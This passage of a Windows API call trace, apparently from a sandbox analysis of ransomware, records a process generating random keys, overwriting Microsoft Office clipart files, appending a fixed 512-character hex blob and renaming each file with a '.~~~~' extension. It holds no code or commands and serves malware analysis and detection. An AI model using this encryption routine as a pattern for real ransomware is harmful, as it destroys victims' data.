	[0117.117] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.117] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.117] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.117] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.117] CloseHandle (hObject=0x13c) returned 1
	[0117.118] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.118] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf.~~~~")) returned 1
	[0117.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0117.119] GetLastError () returned 0x0
	[0117.119] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0117.121] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.121] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0117.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0117.121] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23711127083) returned 1
	[0117.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaf4d1ad0, dwHighDateTime=0x1d60e1e)) 
	[0117.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0117.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0117.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0117.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8e30
	[0117.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8e30 | out: hHeap=0x300000) returned 1
	[0117.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2878
	[0117.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.122] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0117.122] GetLastError () returned 0x0
	[0117.122] GetLastError () returned 0x0
	[0117.123] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0117.123] GetLastError () returned 0x0
	[0117.123] GetLastError () returned 0x0
	[0117.877] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffa014, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.877] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x5fec, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x5fec, lpOverlapped=0x0) returned 1
	[0117.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0117.878] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.878] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.878] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.878] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.879] CloseHandle (hObject=0x13c) returned 1
	[0117.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.879] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf.~~~~")) returned 1
	[0117.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0117.888] GetLastError () returned 0x0
	[0117.890] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0117.891] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.891] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0117.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0117.891] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23788101936) returned 1
	[0117.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xafc1be30, dwHighDateTime=0x1d60e1e)) 
	[0117.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0117.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0117.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0117.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e91e8
	[0117.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e91e8 | out: hHeap=0x300000) returned 1
	[0117.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b30a8
	[0117.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.892] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0117.892] GetLastError () returned 0x0
	[0117.892] GetLastError () returned 0x0
	[0117.892] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0117.892] GetLastError () returned 0x0
	[0117.892] GetLastError () returned 0x0
	[0117.918] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffebee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.919] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1412, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1412, lpOverlapped=0x0) returned 1
	[0117.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0117.921] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.921] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.922] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.922] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.922] CloseHandle (hObject=0x13c) returned 1
	[0117.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.922] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf.~~~~")) returned 1
	[0117.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0117.924] GetLastError () returned 0x0
	[0117.925] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0117.926] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.926] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0117.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0117.927] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23791684562) returned 1
	[0117.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xafc680f0, dwHighDateTime=0x1d60e1e)) 
	[0117.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0117.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0117.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0117.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9220
	[0117.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9220 | out: hHeap=0x300000) returned 1
	[0117.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b31d8
	[0117.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.928] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0117.928] GetLastError () returned 0x0
	[0117.928] GetLastError () returned 0x0
	[0117.928] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0117.928] GetLastError () returned 0x0
	[0117.928] GetLastError () returned 0x0
	[0117.981] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffaf4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.981] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x50c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x50c, lpOverlapped=0x0) returned 1
	[0117.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0117.983] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.983] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.984] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.984] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.984] CloseHandle (hObject=0x13c) returned 1
	[0117.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0117.984] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf.~~~~")) returned 1
	[0117.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0117.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0117.986] GetLastError () returned 0x0
	[0117.986] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0117.988] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.988] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0117.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0117.988] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23797849189) returned 1
	[0117.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xafd00670, dwHighDateTime=0x1d60e1e)) 
	[0117.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0117.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0117.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0117.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9290
	[0117.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9290 | out: hHeap=0x300000) returned 1
	[0117.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0117.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3270
	[0117.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0117.989] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0117.990] GetLastError () returned 0x0
	[0117.990] GetLastError () returned 0x0
	[0117.990] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0117.990] GetLastError () returned 0x0
	[0117.990] GetLastError () returned 0x0
	[0118.069] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffdf6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.069] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x2094, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x2094, lpOverlapped=0x0) returned 1
	[0118.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0118.072] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.072] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0118.072] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0118.072] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.073] CloseHandle (hObject=0x13c) returned 1
	[0118.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0118.073] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf.~~~~")) returned 1
	[0118.074] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.074] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0118.075] GetLastError () returned 0x0
	[0118.075] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0118.076] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.076] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0118.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0118.077] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23806687774) returned 1
	[0118.077] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xafde4eb0, dwHighDateTime=0x1d60e1e)) 
	[0118.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0118.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0118.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0118.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c9d0
	[0118.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c9d0 | out: hHeap=0x300000) returned 1
	[0118.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0118.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b33a0
	[0118.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.078] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0118.078] GetLastError () returned 0x0
	[0118.078] GetLastError () returned 0x0
	[0118.078] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0118.078] GetLastError () returned 0x0
	[0118.079] GetLastError () returned 0x0
	[0118.167] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffd89c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
